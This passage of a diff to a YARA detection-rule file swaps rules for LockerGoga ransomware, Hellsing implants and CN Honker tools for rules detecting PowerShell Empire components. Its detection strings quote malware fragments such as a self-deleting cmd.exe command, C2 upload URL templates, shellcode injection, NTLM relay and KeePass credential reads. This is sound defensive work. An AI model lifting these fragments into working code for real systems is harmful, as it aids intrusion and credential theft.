-		logic_hash = "d048d88cac40f4fe3affee8d9dad35a7347a5459fbdd56b08a77ece4f6c2ac08"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L337-L350"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "044c8a326ee6cc74a918e6c28100032bfd2fb396ddab8683ab11e00f9370ab2a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "7a424ad3f3106b87e8e82c7125834d7d8af8730a2a97485a639928f66d5f6bf4"
-		hash2 = "6eb7657603edb2b75ed01c004d88087abe24df9527b272605b8517a423557fe6"
-		hash3 = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
-		hash4 = "8b805f508879ecdc9bba711cfbdd570740c4825b969c1b4db980c134ac8fef1c"
-		hash5 = "ac99d4197e41802ff9f8852577955950332947534d8e2a0e3b6c1dd1715490d4"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5a76e642357792bb4270114d7cd76ce45ba24b0d741f5c6b916aeebd45cff2b3"
 
 	strings:
-		$s1 = "ssMUIDLL.dll" fullword ascii
-		$op1 = { 6a 00 c6 07 e9 ff d6 }
-		$op2 = { 02 cb 6a 00 88 0f ff d6 47 ff 4d fc 75 }
-		$op3 = { 6a 00 88 7f 02 ff d6 }
+		$s1 = "$UserMasterKeyFiles = @(, $(Get-ChildItem -Path $UserMasterKeyFolder -Force | Select-Object -ExpandProperty FullName) )" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <20KB and ( all of ($op*))) or ( all of them )
+		( uint16(0)==0x7223 and filesize <80KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Ransom_Lockergoga_Mar19_1 : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Sshcommand : FILE
 {
 	meta:
-		description = "Detects LockerGoga ransomware binaries"
+		description = "Detects Empire component - file Invoke-SSHCommand.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ba5836b9-bc47-54d4-8f7a-475ba0feaac6"
-		date = "2019-03-19"
+		id = "b06b507f-b6b8-5f4b-8d6d-920f141e9ac1"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_lockergoga.yar#L2-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "076d799113f5bf6c00aa29895cca83ff86e89706cf15ca6971a991d345d0ad65"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L352-L367"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3749c3d58335cb08bff66fe3126fc4977261576a9fbedbd7da673e3921364850"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "c97d9bbc80b573bdeeda3812f4d00e5183493dd0d5805e2508728f65977dda15"
-		hash2 = "7bcd69b3085126f7e97406889f78ab74e87230c11812b79406d723a80c08dd26"
-		hash3 = "bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cbaf086b14d5bb6a756cbda42943d4d7ef97f8277164ce1f7dd0a1843e9aa242"
 
 	strings:
-		$x1 = "\\.(doc|dot|wbk|docx|dotx|docb|xlm|xlsx|xltx|xlsb|xlw|ppt|pot|pps|pptx|potx|ppsx|sldx|pdf)" wide
-		$x2 = "|[A-Za-z]:\\cl.log" wide
-		$x4 = "\\crypto-locker\\" ascii
-		$xc1 = { 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E
-               00 61 00 6D 00 65 00 00 00 00 00 4D 00 6C 00 63
-               00 72 00 6F 00 73 00 6F 00 66 00 74 }
-		$xc2 = { 00 2E 00 6C 00 6F 00 63 00 6B 00 65 00 64 00 00
-               00 20 46 41 49 4C 45 44 20 00 00 00 00 20 00 00
-               00 20 75 6E 6B 6E 6F 77 6E 20 65 78 63 65 70 74
-               69 6F 6E }
-		$rn1 = "This may lead to the impossibility of recovery of the certain files." wide
+		$s1 = "$Base64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAA" ascii
+		$s2 = "Invoke-SSHCommand -ip 192.168.1.100 -Username root -Password test -Command \"id\"" fullword ascii
+		$s3 = "Write-Verbose \"[*] Error loading dll\"" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <4000KB and 1 of ($x*)) or $rn1
+		( uint16(0)==0x660a and filesize <2000KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Apt_Hellsing_Implantstrings : FILE
+rule SIGNATURE_BASE_Empire_Powershell_Framework_Gen1 : FILE
 {
 	meta:
-		description = "detection for Hellsing implants"
-		author = "Kaspersky Lab"
-		id = "00aa5885-ae79-5d68-8587-13d3e8965630"
-		date = "2015-04-07"
+		description = "Detects Empire component"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8fdb48a0-5d40-55be-ae23-e9c8c4c2ecea"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hellsing_kaspersky.yar#L2-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d62dc766a40d1dc7044cc5c9f07a78d36e231b771fafb52442b26514f4c603db"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L371-L390"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "074423d30c5ef419d1ca9433477d8a896086cec84eb939270ce51d3965b6b1a2"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
-		filetype = "PE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+		hash2 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
+		hash3 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
+		hash4 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+		hash5 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
 
 	strings:
-		$a1 = "the file uploaded failed !"
-		$a2 = "ping 127.0.0.1"
-		$b1 = "the file downloaded failed !"
-		$b2 = "common.asp"
-		$c = "xweber_server.exe"
-		$d = "action="
-		$debugpath1 = "d:\\Hellsing\\release\\msger\\" nocase
-		$debugpath2 = "d:\\hellsing\\sys\\xrat\\" nocase
-		$debugpath3 = "D:\\Hellsing\\release\\exe\\" nocase
-		$debugpath4 = "d:\\hellsing\\sys\\xkat\\" nocase
-		$debugpath5 = "e:\\Hellsing\\release\\clare" nocase
-		$debugpath6 = "e:\\Hellsing\\release\\irene\\" nocase
-		$debugpath7 = "d:\\hellsing\\sys\\irene\\" nocase
-		$e = "msger_server.dll"
-		$f = "ServiceMain"
+		$s1 = "Write-BytesToMemory -Bytes $Shellcode" ascii
+		$s2 = "$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($a*)) or ( all of ($b*)) or ($c and $d) or ( any of ($debugpath*)) or ($e and $f) and filesize <500000
+		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Apt_Hellsing_Installer : FILE
+rule SIGNATURE_BASE_Empire_Powerup_Gen : FILE
 {
 	meta:
-		description = "detection for Hellsing xweber/msger installers"
-		author = "Kaspersky Lab"
-		id = "0aca838e-813a-59ee-8a04-7d2f4e854075"
-		date = "2015-04-07"
+		description = "Detects Empire component - from files PowerUp.ps1, PowerUp.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ae6b0462-7193-54a4-8fb9-befc1b461b15"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hellsing_kaspersky.yar#L31-L54"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "556898e9507835d93e2cf7e21e997b6e64dc154ac675b429f5f8226bf929309c"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L392-L407"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4086b057b46cac85bb871d2d4363d4ae4c99a160e5c9625e4d41e3df55fece2d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
-		filetype = "PE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "ad9a5dff257828ba5f15331d59dd4def3989537b3b6375495d0c08394460268c"
 
 	strings:
-		$cmd = "cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f \"%s\""
-		$a1 = "xweber_install_uac.exe"
-		$a2 = "system32\\cmd.exe" wide
-		$a4 = "S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y="
-		$a5 = "S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXahTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg="
-		$a6 = "7dqm2ODf5N/Y2N/m6+br3dnZpunl44g="
-		$a7 = "vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw=="
-		$a8 = "vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4+Xm39zl2qju5dqo4+Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSINjl2tyI"
-		$a9 = "C:\\Windows\\System32\\sysprep\\sysprep.exe" wide
-		$a10 = "%SystemRoot%\\system32\\cmd.exe" wide
-		$a11 = "msger_install.dll"
-		$a12 = {00 65 78 2E 64 6C 6C 00}
+		$s1 = "$Result = sc.exe config $($TargetService.Name) binPath= $OriginalPath" fullword ascii
+		$s2 = "$Result = sc.exe pause $($TargetService.Name)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and ($cmd and (2 of ($a*))) and filesize <500000
+		( uint16(0)==0x233c and filesize <2000KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Apt_Hellsing_Proxytool : FILE
+rule SIGNATURE_BASE_Empire_Powershell_Framework_Gen2 : FILE
 {
 	meta:
-		description = "detection for Hellsing proxy testing tool"
-		author = "Kaspersky Lab"
-		id = "54454f07-11a9-5456-b489-9a9610e53123"
-		date = "2015-04-07"
+		description = "Detects Empire component"
+		author = "Florian Roth (Nextron Systems)"
+		id = "eab277ca-0dd4-5035-82aa-1ac2120bac94"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hellsing_kaspersky.yar#L56-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8f2656e7b4e6fb5336fb4e39bcec3e99531db532f757b65e3aa12cd2a4334840"
-		score = 50
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L409-L428"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e3cb63d0c3278ee4d04cb4b1d6ebe817fb3da97d25e2581f95bd43ecd5142b30"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
-		filetype = "PE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+		hash3 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
+		hash5 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
+		hash6 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+		hash8 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
 
 	strings:
-		$a1 = "PROXY_INFO: automatic proxy url => %s"
-		$a2 = "PROXY_INFO: connection type => %d"
-		$a3 = "PROXY_INFO: proxy server => %s"
-		$a4 = "PROXY_INFO: bypass list => %s"
-		$a5 = "InternetQueryOption failed with GetLastError() %d"
-		$a6 = "D:\\Hellsing\\release\\exe\\exe\\" nocase
+		$x1 = "$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)" fullword ascii
+		$s20 = "#Shellcode: CallDllMain.asm" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($a*)) and filesize <300000
+		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Apt_Hellsing_Xkat : FILE
+rule SIGNATURE_BASE_Empire_Agent_Gen : FILE
 {
 	meta:
-		description = "detection for Hellsing xKat tool"
-		author = "Kaspersky Lab"
-		id = "c831ce04-8fb2-5790-8aaf-c88b370835ac"
-		date = "2015-04-07"
+		description = "Detects Empire component - from files agent.ps1, agent.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0fac915c-2502-50da-93d1-f81e9282aa9a"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hellsing_kaspersky.yar#L76-L97"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ba74ca11c96e59a04f1cb57b4866df7a581ad94ca81230f2ca5068c8808297aa"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L430-L447"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed8aee7ac6c1d93b21cc1aa5c3c18df1566692c63a010715a3aae65e18fffa60"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
-		filetype = "PE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "380fd09bfbe47d5c8c870c1c97ff6f44982b699b55b61e7c803d3423eb4768db"
+		hash2 = "380fd09bfbe47d5c8c870c1c97ff6f44982b699b55b61e7c803d3423eb4768db"
 
 	strings:
-		$a1 = "\\Dbgv.sys"
-		$a2 = "XKAT_BIN"
-		$a3 = "release sys file error."
-		$a4 = "driver_load error. "
-		$a5 = "driver_create error."
-		$a6 = "delete file:%s error."
-		$a7 = "delete file:%s ok."
-		$a8 = "kill pid:%d error."
-		$a9 = "kill pid:%d ok."
-		$a10 = "-pid-delete"
-		$a11 = "kill and delete pid:%d error."
-		$a12 = "kill and delete pid:%d ok."
+		$s1 = "$wc.Headers.Add(\"User-Agent\",$script:UserAgent)" fullword ascii
+		$s2 = "$min = [int]((1-$script:AgentJitter)*$script:AgentDelay)" fullword ascii
+		$s3 = "if ($script:AgentDelay -ne 0){" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($a*)) and filesize <300000
+		( uint16(0)==0x660a and filesize <100KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Apt_Hellsing_Msgertype2 : FILE
+rule SIGNATURE_BASE_Empire_Powershell_Framework_Gen3 : FILE
 {
 	meta:
-		description = "detection for Hellsing msger type 2 implants"
-		author = "Kaspersky Lab"
-		id = "98f151de-c1c2-56c1-8c64-5d1f437e0742"
-		date = "2015-04-07"
+		description = "Detects Empire component"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b0f7ed41-be65-5e43-aeb1-56e5e7384e8f"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hellsing_kaspersky.yar#L99-L117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "232e4dfd8d236da223240d9a4ec3f8bfa635d51d7376ff19dfa5579af31fc47f"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L449-L467"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "933fe27c54e90806a21082b4d2e4cbb3491374e48834a64c0d6a520c537d145e"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
-		filetype = "PE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+		hash2 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
+		hash3 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+		hash4 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
 
 	strings:
-		$a1 = "%s\\system\\%d.txt"
-		$a2 = "_msger"
-		$a3 = "http://%s/lib/common.asp?action=user_login&uid=%s&lan=%s&host=%s&os=%s&proxy=%s"
-		$a4 = "http://%s/data/%s.1000001000"
-		$a5 = "/lib/common.asp?action=user_upload&file="
-		$a6 = "%02X-%02X-%02X-%02X-%02X-%02X"
+		$s1 = "if (($PEInfo.FileType -ieq \"DLL\") -and ($RemoteProcHandle -eq [IntPtr]::Zero))" fullword ascii
+		$s2 = "remote DLL injection" ascii
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($a*)) and filesize <500000
+		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_Apt_Hellsing_Irene : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Inveighrelay_Gen : FILE
 {
 	meta:
-		description = "detection for Hellsing msger irene installer"
-		author = "Kaspersky Lab"
-		id = "b57d1a10-4e5c-511f-b98c-8ce7d766c227"
-		date = "2015-04-07"
+		description = "Detects Empire component - from files Invoke-InveighRelay.ps1, Invoke-InveighRelay.ps1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0adebf6f-99e1-5461-8efc-e4660faf6d5d"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hellsing_kaspersky.yar#L119-L137"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e7da04083468dba7045b55181642d7cd57d543fbeda24685ba2ac63799740798"
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L469-L484"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "183a0afa9233e380471ddfa8f85e6c6555d69c785c9a4e8791e19432b6849558"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
-		filetype = "PE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash2 = "21b90762150f804485219ad36fa509aeda210d46453307a9761c816040312f41"
 
 	strings:
-		$a1 = "\\Drivers\\usbmgr.tmp" wide
-		$a2 = "\\Drivers\\usbmgr.sys" wide
-		$a3 = "common_loadDriver CreateFile error!"
-		$a4 = "common_loadDriver StartService error && GetLastError():%d!"
-		$a5 = "irene" wide
-		$a6 = "aPLib v0.43 - the smaller the better"
+		$s1 = "$inveigh.SMBRelay_failed_list.Add(\"$HTTP_NTLM_domain_string\\$HTTP_NTLM_user_string $SMBRelayTarget\")" fullword ascii
+		$s2 = "$NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($a*)) and filesize <500000
+		( uint16(0)==0x7566 and filesize <200KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_CN_Honker_MAC_IPMAC : FILE
+rule SIGNATURE_BASE_Empire_Keepassconfig_Gen : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file IPMAC.exe"
+		description = "Detects Empire component - from files KeePassConfig.ps1, KeePassConfig.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5424d3a7-765a-5dfb-9177-d5633f83079f"
-		date = "2015-06-23"
+		id = "e2bc88c5-50f8-5ddc-a449-41929b1d0528"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L10-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "24d55b6bec5c9fff4cd6f345bacac7abadce1611"
-		logic_hash = "395dfb840346bbf3f68fa198e76349cf65c703b28fd168b85d846d07df1845fe"
-		score = 70
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L486-L500"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "986f299d2b6e2ec47acae09d8a25b6c45caf83c964208c594433308cd11ad264"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash2 = "5a76e642357792bb4270114d7cd76ce45ba24b0d741f5c6b916aeebd45cff2b3"
 
 	strings:
-		$s1 = "Http://Www.YrYz.Net" fullword wide
-		$s2 = "IpMac.txt" fullword ascii
-		$s3 = "192.168.0.1" fullword ascii
+		$s1 = "$KeePassXML = [xml](Get-Content -Path $KeePassXMLPath)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <267KB and all of them
+		( uint16(0)==0x7223 and filesize <80KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Getsyskey : FILE
+rule SIGNATURE_BASE_Empire_Invoke_Portscan_Gen : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file GetSyskey.exe"
+		description = "Detects Empire component - from files Invoke-Portscan.ps1, Invoke-Portscan.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "08f5b5b1-3085-5bf1-9789-023be5a039f8"
-		date = "2015-06-23"
+		id = "c2e01780-02d2-57d1-b38e-5c345ebccad6"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L28-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "17cec5e75cda434d0a1bc8cdd5aa268b42633fe9"
-		logic_hash = "1f12ea9d62d4aaf695328fb335445f3dae3996595402586d2ee52098e6727d10"
-		score = 70
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L502-L517"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "05e786dc42ee5ec56197803577d104595ad6554e028b7633b2f7fdf55a63e27c"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash2 = "cf7030be01fab47e79e4afc9e0d4857479b06a5f68654717f3bc1bc67a0f38d3"
 
 	strings:
-		$s2 = "GetSyskey <SYSTEM registry file> [Output system key file]" fullword ascii
-		$s4 = "The system key file \"%s\" is created." fullword ascii
+		$s1 = "Test-Port -h $h -p $Port -timeout $Timeout" fullword ascii
+		$s2 = "1 {$nHosts=10;  $Threads = 32;   $Timeout = 5000 }" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and all of them
+		( uint16(0)==0x7566 and filesize <100KB and 1 of them ) or all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Churrasco : FILE
+rule SIGNATURE_BASE_Empire_Powershell_Framework_Gen4 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Churrasco.exe"
+		description = "Detects Empire component"
 		author = "Florian Roth (Nextron Systems)"
-		id = "58873cd6-0c9e-58a0-923a-aca8a1d42017"
-		date = "2015-06-23"
+		id = "c390638a-0eb1-576d-a08c-203c31d414f3"
+		date = "2016-11-05"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L45-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5a3c935d82a5ff0546eff51bb2ef21c88198f5b8"
-		logic_hash = "f60589bda76367578388cbe6af912c80c9364a7047ed52ca2b4156a1b277e7ca"
-		score = 70
+		reference = "https://github.com/adaptivethreat/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_empire.yar#L519-L545"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "314574a463f9cc772702d5e3358f5280b2805298fedb89c14786518a4832d63b"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "743c51334f17751cfd881be84b56f648edbdaf31f8186de88d094892edc644a9"
+		hash2 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+		hash3 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+		hash4 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
+		hash5 = "304031aa9eca5a83bdf1f654285d86df79cb3bba4aa8fe1eb680bd5b2878ebf0"
+		hash6 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
+		hash7 = "0218be4323959fc6379489a6a5e030bb9f1de672326e5e5b8844ab5cedfdcf88"
+		hash8 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+		hash9 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
+		hash10 = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
 
